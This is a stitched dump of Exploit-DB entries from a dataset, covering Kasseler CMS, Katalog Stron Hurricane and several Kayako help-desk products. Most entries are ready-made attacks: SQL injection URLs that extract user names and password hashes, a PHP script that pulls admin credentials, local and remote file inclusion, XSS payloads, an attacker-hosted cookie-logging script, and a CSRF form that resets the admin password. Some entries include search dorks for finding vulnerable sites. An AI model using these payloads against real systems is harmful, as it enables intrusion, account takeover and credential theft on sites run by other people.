deardaniel/secdata-raw huggingface dataset:
Exploit-DB #6460
Description: Kasseler CMS 1.1.0/1.2.0 Lite - SQL Injection
Type: webapps
Platform: php
Date: 2008-09-14
Author: ~!Dok_tOR!~

Exploit:
Kasseler CMS 1.1.0, 1.2.0 Lite SQL Injection

Author: ~!Dok_tOR!~
Date found: 13.09.08
Product: Kasseler CMS
Version: 1.1.0, 1.2.4
URL: www.kasseler-cms.net
Vulnerability Class: SQL Injection

http://localhost/[installdir]/index.php?module=News&do=View&nid=1'+and+1=2+union+select+1,2,concat_ws(0x3a,user_name,user_password,user_email),4,user(),version(),7,8,9,10,11,12,database(),14,15,16,17,18+from+kasseler_users+where+uid=1/*

http://localhost/[installdir]/index.php?module=Voting&do=Result&vid=1'+union+select+1,concat_ws(0x3a,user_name,user_password,user_email),3,4,user(),6,version(),8,9,10,11,12,13,14,15+from+kasseler_users+where+uid=1/*

http://localhost/[installdir]/index.php?module=Forum&do=ShowForum&fid=1'+union+select+1,2,3,concat_ws(0x3a,user_name,user_password,user_email),5,user(),database(),8,9,10,11,version(),13,14,15+from+kasseler_users+where+uid=1/*

http://localhost/[installdir]/index.php?module=Forum&do=ShowTopic&tid=706'+union+select+1,2,3,4,concat_ws(0x3a,user_name,user_password,user_email),6,7,user(),9,10,11,version(),13,14,15,16,17,18+from+kasseler_users+where+uid=1/*

http://localhost/[installdir]/index.php?module=Account&do=UserInfo&uname=dok'+union+select+1,2,3,4,concat_ws(0x3a,user_name,user_password,user_email),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+kasseler_users+where+uid=1/*

http://localhost/[installdir]/index.php?module=TopSites+1'+and+1=2+union+select+1,concat_ws(0x3a,user_name,user_password,user_email),3,4,5+from+kasseler_users+where+uid=1/*

# milw0rm.com [2008-09-14]
Exploit-DB #6007
Description: Kasseler CMS 1.3.0 - Local File Inclusion / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-07-05
Author: Cr@zy_King

Exploit:
Cr@zy_King / sqL L0v3r'Z Crew Co. 2008 // From Turkey

http://biyosecurity.com / If there isn't the devotion Success there... : )

Greatz : aLL my Friend'z

Kasseler-Cms (LFI/XSS) Multiple Remote Vulnerabilities

Down : http://www.kasseler-cms.net

LFI : http://127.0.0.1/index.php?module=phpManual&file=../../../../../../../../../../../etc/passwd

Xss : http://127.0.0.1/http://www.kasseler-cms.net/index.php?module=Files&do=Category&cid=[XSS] 

# milw0rm.com [2008-07-05]
Exploit-DB #33424
Description: Kasseler CMS 1.3.4 Lite - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2009-12-21
Author: Gamoscu

Exploit:
source: https://www.securityfocus.com/bid/37435/info

Kasseler CMS is prone to multiple cross site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied data.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials; other attacks are also possible.

Kasseler CMS 1.3.4 Lite is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?module=[target]&do=View&id="><script>alert();</script>
 
http://www.example.com/index.php?module=[target]&do="><script>alert();</script>
 
http://www.example.com/index.php?module=Account&do=UserInfo&uname="><script>alert();</script>
Exploit-DB #11897
Description: Kasseler CMS 1.4.x lite Module Jokes - SQL Injection
Type: webapps
Platform: php
Date: 2010-03-26
Author: Sc0rpi0n

Exploit:
<?php
echo "\n\n#############################################################################\n";
echo "##                                                                         ##\n";
echo "##   Product: Kasseler CMS 1.4.x lite (Module Jokes) SQL-Injection Exploit ##\n";
echo "##   Usage: php.exe kasseler.php www.site.com /cmspath/                    ##\n";
echo "##   Require: Magic_quotes = off                                           ##\n";
echo "##   Author: Sc0rpi0n [RUS] (http://scorpion.su)                           ##\n";
echo "##   Special for Antichat (http://forum.antichat.ru)                       ##\n";
echo "##                                                                         ##\n";
echo "#############################################################################\n\n";
$host=$argv[1];
$path=$argv[2];

$fsock=fsockopen($host,80);
$headers="POST http://".$host.$path."index.php?module=Jokes&do=ajaxcancel HTTP/1.0\r\n";
$headers.="Host: $host\r\n";
$headers.="UserAgent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.7) Gecko/[PII_REDACTED] Firefox/3.0.7\r\n";
$headers.="Accept: text/html, application/xml;q=0.9, application/xhtml+xml, */*;q=0.1\r\n";
$headers.="Connection: Keep-Alive\r\n";
$headers.="Content-Type: application/x-www-form-urlencoded\r\n";
$headers.="Content-length: 116\r\n\r\n";
$headers.="&nid=-1'+UNION SELECT concat(0x3a3a,user_name,0x3a3a3a,user_password,0x3a3a3a3a) FROM kasseler_users WHERE uid=1 -- ";
fwrite($fsock,$headers);
while(!feof($fsock))
	$response.=fread($fsock,1024);
$pos1=strpos($response,"::") or die("## http://$host is not vulnerable or error\n");
$pos2=strpos($response,":::") or die("## http://$host is not vulnerable or error\n");
$pos3=strpos($response,"::::") or die("## http://$host is not vulnerable or error\n");
$len1=$pos2-$pos1;
$len2=$pos3-$pos2;

$login=substr($response,$pos1+2,$len1-2);
$[CREDENTIAL_REDACTED]($response,$pos2+3,$len2-3);

echo "## Host: $argv[1]\n";
echo "## Login: $login\n";
echo "## [CREDENTIAL_REDACTED]\n";
?>
Exploit-DB #33883
Description: Kasseler CMS 2.0.5 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-04-26
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/39703/info

Kasseler CMS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects Kasseler CMS 2.0.5; other versions may also be affected. 

http://www.example.com/index.php?online/&lt;script&gt;alert[PII_REDACTED]60)&lt;/script&gt;
Exploit-DB #12402
Description: Kasseler CMS 2.0.5 - Bypass / Download Backup
Type: webapps
Platform: php
Date: 2010-04-26
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : kasseler cms 2.0.5 => by Pass / Download Backup Vulnerability   
| # Author   : indoushka                                                               
| # email    : indoushka@hotmail.com                                                                                                                                                                    
| # Dork     : Copyright ©2007-2009 by Kasseler CMS. All rights reserved.                                                                                                                
| # Tested on: windows SP2 Français V.(Pnx2 2.0)        
| # Bug      : Backup     
                                                            
======================      Exploit By indoushka       =================================
# Exploit  :  

1 - http://127.0.0.1/kasseler/backup.php

File size: 37.38 KB
Tables processed: 39
Rows processed: 37

2 - http://127.0.0.1/uploads/backup/auto_2010-04-27_14-29.sql

in lig 645:668 col 1 you found the login information

INSERT INTO `kasseler_users` VALUES
(-1, 'guest', 'Guest', '', '', 'default.png', '0000-00-00 00:00:00', 'default', 0, '', '', '', '', '', 5, '', '0', '', '0000-00-00 00:00:00', '', '', '0000-00-00', 0, '', '', '', '', '', '', 0, -1, 0, 0, 0, 0, 0, 0, '', 0, 'MBzx97cQMjKQ47tJgil9PBQDr', 1, 0, 0, '0.00', 0, 1, NULL),
(1, 'admin', 'admin', 'admin@127.0.0.1', 'http://127.0.0.1/', 'admin.png', '2010-04-27 11:25:22', 'default', 2, NULL, NULL, NULL, NULL, 'd[PII_REDACTED]783e6cf17b26fb8e2298f', 1, NULL, '0.0.0.0', 'N/A', '0000-00-00 00:00:00', 'N/A', 'N/A', '0000-00-00', 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, 0, 0, 0, 0, 0, 0, NULL, 0, NULL, 1, 0, 0, '0.00', 0, 1, NULL);

3 - XSS :

http://127.0.0.1/index.php?online/<script>alert[PII_REDACTED]60)</script>

Dz-Ghost Team ===== Saoucha * Star08 * Redda * theblind74 * XproratiX * onurozkan * n2n * Meher Assel ====================
Greetz : Exploit-db Team 
all my friend :
His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
Stake (www.v4-team.com) * r1z (www.sec-r1z.com) * D4NB4R http://www.ilegalintrusion.net/foro/
www.sa-hacker.com *  www.alkrsan.net * www.mormoroth.net * MR.SoOoFe * ThE g0bL!N
------------------------------------------------------------------------------------------------------------------------
Exploit-DB #33793
Description: Kasseler CMS News Module - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2010-03-23
Author: Palyo34

Exploit:
source: https://www.securityfocus.com/bid/38909/info

Kasseler CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?module=News&do=Category&id= [ SQL ]
Exploit-DB #11452
Description: Katalog Stron Hurricane 1.3.5 - Remote File Inclusion / SQL Injection
Type: webapps
Platform: php
Date: 2010-02-14
Author: kaMtiEz

Exploit:
#############################################################################################################
## Katalog Stron Hurricane Multiple Vulnerability RFI / SQL			                           ##
## Author : kaMtiEz (kamzcrew@yahoo.com)								   ##
## Homepage : http://www.indonesiancoder.com    	     					    	   ##
## Date : 14 February, 2010 						                                   ##
#############################################################################################################

[ Software Information ]

[+] Vendor : http://www.katalog.hurricane.pl/
[+] Download : http://www.katalog.hurricane.pl/download.html
[+] version : 1.3.5 or lower maybe also affected
[+] Vulnerability : RFI
[+] Dork : "CiHuY"
[+] LOCATION : INDONESIA - JOGJA
#############################################################################################################

[ Here We go .. Live From Jogja City.. ]

[ RFI ]

http://127.0.0.1/[kaMtiEz]/includes/moderation.php?includes_directory=[INDONESIANCODER]


[ BUG ]

[!] moderation.php
     include($includes_directory.'population.php');

[ SQL ]

http://127.0.0.1/[kaMtiEz]/index.php?inc=category&get=[INDONESIANCODER]

[ XPL ]

6666+union+all+select+1,database(),3--

[ FIX ]

dunno :">


#############################################################################################################

[ Thx TO ]

[+] INDONESIAN CODER TEAM KILL-9 CREW KIRIK CREW MainHack ServerIsDown SurabayaHackerLink IndonesianHacker SoldierOfAllah
[+] tukulesto,M3NW5,arianom,tiw0L,abah_benu,d0ntcry,newbie_043,bobyhikaru,gonzhack
[+] Contrex,onthel,yasea,bugs,Ronz,Pathloader,cimpli,MarahMerah,Ibl13Z,Milo
[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue a.k.a mbamboenk

[ NOTE ] 

[+] Ibl13Z : Turut berduka atas Flashdisknya gan
[+] Milo : Telpon MyQueen Terosss hhaa
[+] r3m1ck : KAYAK KUWEK Ojo Homok Yak .. ndak baik
[+] gonzhack : gua doain bro moga balikan .. hha ..
[+] for some one .. one day .. u will be mind .. >.<

[ QUOTE ]

[+] we are NOT DEAD INDONESIANCODER STILL r0x
[+] nothing secure ..
Exploit-DB #25257
Description: Kayako ESupport 2.3 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-03-22
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/12868/info

Kayako ESupport is prone to a cross-site scripting vulnerability.

Multiple parameters of the 'index.php' script can be exploited to pass malicious HTML and script code to the application.

This would occur in the security context of the affected Web site and may allow for theft of cookie-based authentication credentials or other attacks.

ESupport 2.3 is reported vulnerable, however, it is possible that other versions are affected as well. 

http://www.example.com/index.php?_a=knowledgebase&_j=questiondetails&_i=[INT][XSS]

http://www.example.com/index.php?_a=knowledgebase&_j=questionprint&_i=[INT][XSS]

http://www.example.com/index.php?_a=troubleshooter&_c=[INT][XSS]

http://www.example.com/index.php?_a=knowledgebase&_j=subcat&_i=[INT][XSS]

where [INT] is a valid integer value.
Exploit-DB #2115
Description: Kayako eSupport 2.3.1 - 'subd' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-02
Author: beford

Exploit:
Script: Kayako eSupport <= 2.3.1
Vendor: Kayako (www.kayako.com)
Discovered: beford <xbefordx gmail com>
Comments: It seems like the vendor silently fixed the issue in the
current version (more like since v2.3.5) withouth warning users of
previous versions, noobs. Requires that "register_globals" is enabled.
Vulnerable File: esupport/admin/autoclose.php

[code]
require_once $subd . "functions.php";
[/code]

Not-leet-enough: "Powered By Kayako eSupport"
http://www.google.com/search?q=%22Helpdesk+Powered+by+Kayako+eSupport+v2.3.1%22
http://www.google.com/search?q=%22Helpdesk+Powered+by+Kayako+eSupport+v2.2%22

POC: http://omghax.com/esupport/admin/autoclose.php?subd=http://remotefile/?

# milw0rm.com [2006-08-02]
Exploit-DB #25037
Description: Kayako eSupport 2.x - 'index.php' Knowledgebase Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-12-18
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/12037/info

Kayako eSupport is prone to multiple input validation vulnerabilities. One cross-site scripting and six SQL injection vulnerabilities.

These issues may collectively threaten compromise of software and database security properties. Possible attacks include theft of cookie-based authentication credentials, exposure or modification of database information, and a potential for attacks against the underlying database implementation. 

http://www.example.com/index.php?_a=knowledgebase&_j=search&searchm=[CODEGOESHERE]
Exploit-DB #25038
Description: Kayako eSupport 2.x - Ticket System Multiple SQL Injections
Type: webapps
Platform: php
Date: 2004-12-18
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/12037/info
 
Kayako eSupport is prone to multiple input validation vulnerabilities. One cross-site scripting and six SQL injection vulnerabilities.
 
These issues may collectively threaten compromise of software and database security properties. Possible attacks include theft of cookie-based authentication credentials, exposure or modification of database information, and a potential for attacks against the underlying database implementation. 

http://www.example.com/index.php?_a=knowledgebase&_j=subcat&_i=[SQL]

http://www.example.com/index.php?_a=knowledgebase&_j=rate&_i=[SQL]&type=no

http://www.example.com/index.php?_a=knowledgebase&_j=questiondetails&_i=[SQL]

http://www.example.com/index.php?_a=tickets&_m=viewmain&email22=blah@blah&ticketkey22=[
SQL]

http://www.example.com/index.php?_a=tickets&_m=viewmain&email22=[SQL]&ticketkey22=
Exploit-DB #29963
Description: Kayako eSupport 3.0.90 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-05-07
Author: Red_Casper

Exploit:
source: https://www.securityfocus.com/bid/23864/info

Kayako eSupport is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Kayako eSupport 3.00.90 is vulnerable to this issue; other versions may also be affected.

http://example.com/index.php?_m="><script>alert(1);</script>
Exploit-DB #10882
Description: Kayako eSupport 3.04.10 - Cross-Site Scripting / Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2009-12-31
Author: D3V!L FUCKER

Exploit:
#################################################################################################################
[+] Exploit Title : kayako (xss/xsrf) Remote Vulnerabilities
[+] Author : By D3V!L FUCKER
[+] Script Link : http://www.kayako.com/solutions/esupport/
[+] Version :  Kayako eSupport v3.04.10
[+] Tested on : linux ubuntu 9.10
[+] Code :
#################################################################################################################
+++++++++++++++++++++++++
http://server/path/staff/index.php?_m=tickets&_a=manage&s_query=">
==================================================================
PoC
--
[+] Make 2 files and upload to your host :
[+]cookie.php  - > Put in this File That Code:
 <?php
 $cookie = $_GET['cookie'];
 $log = fopen("log.txt", "a");
 fwrite($log, $cookie ."\n");
 fclose($log);
 ?>
[+]log.txt   - > CHMOD it 777 and put in the same directory with cookie.php

[+]Exploit:
   -------
1) Register in The SIte
2)Open New Ticket
3)We Put in
  To:admin name
  Subject: Some Subject
  Message: http://server/path/staff/index.php?_m=tickets&_a=manage&s_query="> //Cover The Link By Any Thing Use Your Brain
  The js code Worked When The admin Read The Message
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
2) Xsrf POC
+++++++++++++++++

<form name="staffform" id="staffform" action="http://site.com/path/admin/index.php?_m=core&_a=editstaff&staffid=1" method="POST">

<body onload="document.forms.staffform.submit();">
<!-- Name -->
<input type="hidden" name="fullname" id="fullname" value="admin" /><br>

<!-- UserName -->
<input type="hidden" name="username" id="username" value="admin" /></br>

<!-- password -->
<input type="hidden" name="password" id="password" value="123123" /></br>

<!-- Re-enter Password -->
<input type="hidden" name="passwordconfirm" id="passwordconfirm" value="123123" /></br>

<!-- E-mail -->
<input type="hidden" name="email" id="email" value="w0@live.no" /></br>

<!-- Mobile Phone Number -->
<input type="hidden" name="mobilenumber" id="mobilenumber" value="" /></br>


<!-- Group -->
<input type="hidden" name="staffgroupid" value="1" /></br>


<!-- Assigned Departments -->
<input type="hidden" name="assigneddepid[]" value="1" /></br>

<input type="hidden" name="submitbutton" class="yellowbuttonbig" value="Update Staff" /> </br>

</table></td></tr></tbody></table>

<input type="hidden" name="_m" value="core"/>

<input type="hidden" name="_a" value="editstaff"/>

<input type="hidden" name="step" value="1"/>

<input type="hidden" name="staffid" value="1"/>


</form>

</html>

################################################################################################################
Exploit-DB #14404
Description: Kayako eSupport 3.70.02 - 'functions.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-07-18
Author: ScOrPiOn

Exploit:
Peace !!

###########################################################################
Name : Kayako eSupport v3.70.02 SQL Injection Vulnerability
Date :  july 18,2010
Vendor urL : http://www.kayako.com/solutions/esupport/
Dork :Find It !!
Author : ScOrPiOn
Greetz : Dr.Dmar & Joker_1 & HiDDen HaCkEr & GeNeRaL KbKb & And All My Friends
###########################################################################
Effect :
/includes/functions.php
###########################################################################
Here The SQL Injec .....
http://server/Kayako/index.php?_m=downloads&_a=*SQLi*
###########################################################################

Peace !!
Exploit-DB #14392
Description: Kayako eSupport 3.70.02 - SQL Injection
Type: webapps
Platform: php
Date: 2010-07-17
Author: Sid3^effects

Exploit:
Name :Kayako eSupport v3.70.02 SQL Injection Vulnerability
Date : july 17,2010
Critical Level 	: HIGH
vendor URL :http://www.kayako.com/solutions/esupport/
google dork:Help Desk Software by Kayako SupportSuite v3.70.02 
Author : Sid3^effects aKa HaRi 
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_,SeeMe,RoadKiller 
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz 
#######################################################################################################
Description:
eSupport incorporates Kayako's leading ticket and e-mail management support desk software, including knowledgebase, troubleshooter, news and downloads publishing tools.
#######################################################################################################
Xploit:SQli Vulnerability

http://[site]/supportsuite/index.php?_m=news&_a=viewnews&newsid=[Sqli]
#######################################################################################################
# 0day no more 
# Sid3^effects
Exploit-DB #37698
Description: Kayako Fusion - 'download.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-09-05
Author: High-Tech Bridge

Exploit:
source: https://www.securityfocus.com/bid/55417/info

Kayako Fusion is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Kayako Fusion 4.40.1148 is vulnerable; other versions may also be affected. 

http://www.example.com/__swift/thirdparty/PHPExcel/PHPExcel/Shared/JAMA/docs/download.php/%27%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
Exploit-DB #26052
Description: Kayako Live Response 2.0 - 'index.php' Calendar Feature Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-07-30
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/14425/info
 
Kayako LiveResponse is prone to multiple cross-site scripting, SQL injection, and HTML injection vulnerabilties. These issues are all related to input validation errors.
 
The cross-site scripting and HTML injection vulnerabilities may allow for theft of cookie-based authentication credentials or other attacks. The SQL injection vulnerabilities may permit a remote attacker to compromise the software or launch attacks other attacks against the database. 

http://www.example.com/index.php?date=22&month=3&year=2005%20UNION%20SELECT%200,0,0,0,0,0,
username,pass%20FROM%20lrUsers%20WHERE%201/*&_g=2&_a=panel&_m=cal

http://www.example.com/index.php?date=22%20UNION%20SELECT%200,0,0,0,0,0,username,pass%20
FROM%20lrUsers%20WHERE%201/*&month=3&year=2005&_g=2&_a=panel&_m=cal
Exploit-DB #26051
Description: Kayako Live Response 2.0 - 'index.php?Username' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-07-30
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/14425/info

Kayako LiveResponse is prone to multiple cross-site scripting, SQL injection, and HTML injection vulnerabilties. These issues are all related to input validation errors.

The cross-site scripting and HTML injection vulnerabilities may allow for theft of cookie-based authentication credentials or other attacks. The SQL injection vulnerabilities may permit a remote attacker to compromise the software or launch attacks other attacks against the database. 

http://www.example.com/index.php?username="><script>alert(document.cookie)</script>